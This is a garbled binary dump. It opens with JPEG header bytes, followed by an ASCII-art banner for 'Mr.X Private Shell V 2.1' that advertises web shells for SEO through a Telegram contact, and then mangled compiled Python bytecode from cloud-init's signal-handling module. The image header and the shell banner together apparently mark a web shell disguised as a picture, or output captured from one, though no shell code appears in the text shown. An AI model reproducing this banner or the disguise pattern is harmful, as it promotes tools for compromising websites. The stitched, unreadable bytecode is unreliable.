����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
a
'�Dg� � @ s� d dl Z d dlZd dlZd dlZd dlmZ d dlmZ d dl m
Z
e�e�Z
dZejdejdejdiZd d
� Zdd� Zd
d� ZdS )� N)�StringIO)�version)�log_util� )z2Cloud-init %(version)s received SIGINT, exiting...� )z3Cloud-init %(version)s received SIGTERM, exiting...r )z3Cloud-init %(version)s received SIGABRT, exiting...r c C sz ||ks| sd S t �| �}d|d }|�d||jf � |�d||jf � |�d||jf � t| j|d ||� d S )N� � z%sFilename: %s
z%sFunction: %s
z%sLine number: %s
r )�inspectZgetframeinfo�write�filename�function�lineno�
_pprint_frame�f_back)�frame�depthZ max_depth�contentsZ
frame_info�prefix� r �</usr/lib/python3.9/site-packages/cloudinit/signal_handler.pyr s
r c C sb t | \}}|dt�� i }t� }|�d| � t|dt|� tj|� � t
tjd� t
�|� d S )Nr z%s
r )�logZ log_level)�EXIT_FOR�vrZversion_stringr r
r �BACK_FRAME_TRACE_DEPTHr Z multi_log�getvalue�LOG�loggingZERROR�sys�exit)�signumr �msg�rcr r r r �_handle_exit) s r"